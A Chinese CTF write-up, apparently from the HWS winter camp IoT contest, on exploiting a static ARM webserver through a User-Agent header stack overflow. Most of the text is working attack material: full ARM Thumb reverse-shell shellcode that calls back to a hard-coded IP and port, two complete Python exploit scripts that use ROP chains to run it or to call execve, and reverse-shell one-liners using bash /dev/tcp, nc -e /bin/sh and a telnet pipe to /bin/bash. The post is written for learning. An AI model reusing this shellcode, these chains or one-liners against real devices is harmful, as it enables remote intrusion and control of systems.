HWS冬令营结营赛

学习笔记

Posted by X1ng on March 1, 2021

第一次参加这种神奇的IOT赛,上来就日板子,然后我也成功的在设置连接板子的ip上卡了一整天

直到最后五分钟改了ip才从板子上弹出来pwn的shell(永远都在无关紧要的问题上卡到比赛结束

也导致了这么新奇的赛题除了侧信道和故障注入居然只看了一道题,,本来还想就算做不出来也得上台看看摄像头的

不过这也是反弹shell操作现学现卖,就随便记个笔记吧

easyserver

一个webserver程序,据说有目录穿越可以直接读取flag,不过主办方要求提交反弹shell的wp才会发真正的flag

例行检查

ida打开,由于是静态链接,又没有符号表,逆向渣表示逆向是不可能逆向的,只是搜索字符串/bin/sh可以找到一个疑似execve的函数,看逻辑猜测可能是fork()+execve()启动进程组合

其执行的是一个叫tree的文件

除此之外就逆不出来其他线索了,但是后面手动发包测试发现在访问存在的页面的时候,对报文头的处理存在溢出

当时以为应该是用strcpy这类函数往栈上复制的报文头,以为有\x00截断,而这静态程序的地址高位全是\x00

想到经常有arm程序chekcsec出来存在NX保护,但是实际栈上是有执行权限的

试了一下跳到栈上发现是可以执行的

面向互联网编写shellcode,找到的shellcode有很多会提示错误

Invalid return character or leading space in header: User-Agent

好像是报文头里包含一些空格的原因,,但是有些有空格的也不会报错

shllcode:

#切换为Thumb指令集

#add r1, pc, #1;

#bx r1;

sc =  b'\x01\x10\x8f\xe2'
sc += b'\x11\xff\x2f\xe1'

#r7保存系统调用号

#r7 = 153;清空所有内存页状态

#mov r0, #2;

#mov r1, #1;

#sub r2, r2, r2;

#lsl r7, r1, #8;

#add r7, #25

#svc 1;

sc += b'\x02\x20'
sc += b'\x01\x21'
sc += b'\x92\x1a'
sc += b'\x0f\x02'
sc += b'\x19\x37'
sc += b'\x01\xdf'

#socket创建套接字

#add r6, r0, #0;

#add r1, pc, #32;

#mov r2, #16;

#add r7, #2;

#svc 1;

sc += b'\x06\x1c'
sc += b'\x08\xa1'
sc += b'\x10\x22'
sc += b'\x02\x37'
sc += b'\x01\xdf'

#循环dup重定向输入输出流到socket

#mov r7, #63;

#mov r1, #2;

sc += b'\x3f\x27'
sc += b'\x02\x21'
#Dup:

#add r0, r6, #0;

#svc 1;

#sub r1, #1;

#bpl Dup;

sc += b'\x30\x1c'
sc += b'\x01\xdf'
sc += b'\x01\x39'
sc += b'\xfb\xd5'

#构造argv[1] = {"/bin/sh", 0};

#调用execve("/bin/sh", argv, 0);

#add r0, pc, #20;

#sub r2, r2, r2;

#push {r0, r2};

#mov r1, sp;

#mov r7, #11;

#svc 1;

sc += b'\x05\xa0'
sc += b'\x92\x1a'
sc += b'\x05\xb4'
sc += b'\x69\x46'
sc += b'\x0b\x27'
sc += b'\x01\xdf'

#nop 对齐

sc += b'\xc0\x46'

#套接字:0x02 0x00

#端口号:8888

sc += b'\x02\x00'
sc += b'\x22\xb8'

#IP:20.21.2.26

sc += b'\x14\x15\x02\x1a'

#/bin/sh

sc += '/bin/sh\x00'

最后发现其实是没有\x00截断的

虽然在qemu用户模式模拟时栈地址是固定的,但是不知道在板子上是不是,没有回显也不好判断

于是采用ROP+shellcode的方法

由于输入是有长度限制的,在ROP拿到的栈地址处shellcode已经放不下了

所以思路是ROP获取栈上的可控地址并跳转到栈上,将shellcode布置在payload的前面并且让pc指针跳到前面去

exp:

from pwn import *
import requests
context.arch='arm'
url = "http://20.21.2.27:59816/404.html"
#url = "http://127.0.0.1:59816/404.html"


sc =  b'\x01\x10\x8f\xe2'
sc += b'\x11\xff\x2f\xe1'
sc += b'\x02\x20'
sc += b'\x01\x21'
sc += b'\x92\x1a'
sc += b'\x0f\x02'
sc += b'\x19\x37'
sc += b'\x01\xdf'
sc += b'\x06\x1c'
sc += b'\x08\xa1'
sc += b'\x10\x22'
sc += b'\x02\x37'
sc += b'\x01\xdf'
sc += b'\x3f\x27'
sc += b'\x02\x21'
sc += b'\x30\x1c'
sc += b'\x01\xdf'
sc += b'\x01\x39'
sc += b'\xfb\xd5'
sc += b'\x05\xa0'
sc += b'\x92\x1a'
sc += b'\x05\xb4'
sc += b'\x69\x46'
sc += b'\x0b\x27'
sc += b'\x01\xdf'
sc += b'\xc0\x46'
sc += b'\x02\x00\x22\xb8\x14\x15\x02\x1a'
sc += '/bin/sh\x00'

bss = 0x8B3C0

pd =  '1'*0x3e8+sc+'a'*0x10
pd += p32(0x53EC8)
pd += p32(0)+p32(0)+p32(0)+p32(0)+p32(0x4DE84)+p32(bss)+p32(0)+p32(0x38200)
pd += p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0x2FE38)
pd += 'k'*4+'l'*4+'n'*4+'m'*4+'o'*4+'p'*4+'q'*4+'r'*4
pd += 'b'*4+'c'*4+'d'*4+'e'*4+'f'*4+'g'*4+'h'*4+asm('sub pc,pc,0xe0')+'a'*0x200

hd = {"Host": "192.168.51.196:59816","User-Agent":pd}
r = requests.post(url,headers=hd, verify=False, timeout=1000)

#0x53ec8 : pop {r4, r5, r6, r7, r8, sb, sl, pc}

#0x38200 : add r2, sp, #0x5c ; blx r8

#0x4DE84 : mov r0, sb ; pop {r4, r5, r6, r7, r8, sb, sl, pc}

#0x2FE38 : mov lr, r2 ; ldr r2, [pc, #0xc] ; ldr r2, [pc, r2] ; str r1, [r0, r2] ; mvn r0, #0 ; bx lr

shell1:

python exp.py

shell2:

nc -l -p 8888

gadget找得眼快瞎掉了,,却发现打板子上打不通,以为是板子上有NX保护

于是想起之前的execve,想着试试看能不能控制参数再返回到那里命令注入

思路是在ROP拿到的栈地址处写命令,将其地址保存在R0寄存器中作为参数返回到可以执行execve的函数

exp:

from pwn import *
import requests
context.arch='arm'
url = "http://20.21.2.27:59816/404.html"
#url = "http://127.0.0.1:59816/404.html"


bss = 0x8B3C0
have_execve = 0x19158

#bash -i >& /dev/tcp/ip/port 0>&1

#nc 192.168.51.138 8888 -e /bin/sh

#telnet 192.168.51.138 1234 | /bin/bash | telnet 192.168.51.138 4321

cmd = 'telnet 192.168.51.138 1234 | /bin/bash | telnet 192.168.51.138 4321'
pd =  '1'*0x440
pd += p32(0x53ec8)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0x22F48)+p32(bss)+p32(0)+p32(0x38200)
pd += p32(0)+p32(0)+p32(bss)+p32(0)+p32(0)+p32(have_execve)
pd += 'a'*0x48+cmd+p32(0)+'i'*0x40

hd = {"Host": "192.168.51.199:59816","User-Agent":pd}
r = requests.post(url,headers=hd, verify=False, timeout=1000)

#0x53ec8 : pop {r4, r5, r6, r7, r8, sb, sl, pc}

#0x38200: add r2, sp, #0x5c ; blx r8

#0x22F48 : mov r0, r2 ; pop {r4, r5, r6, r7, r8, pc}

shell1:

python exp.py

shell2:

nc -l -p 1234

shell3:

nc -l -p 4321

一个发送命令一个回显

但是可能是构造的偏移有误,找到的反弹shell的命令中只有telnet这条可以在虚拟机上跑出来,而在板子上则都不能成功

最后还是用shellcode的方法拿到了反弹shell

参考资料

https://www.jb51.net/article/197799.htm

https://rootkiter.com/2015/07/04/ARM%E4%B8%8B%E7%9A%84ShellCode.html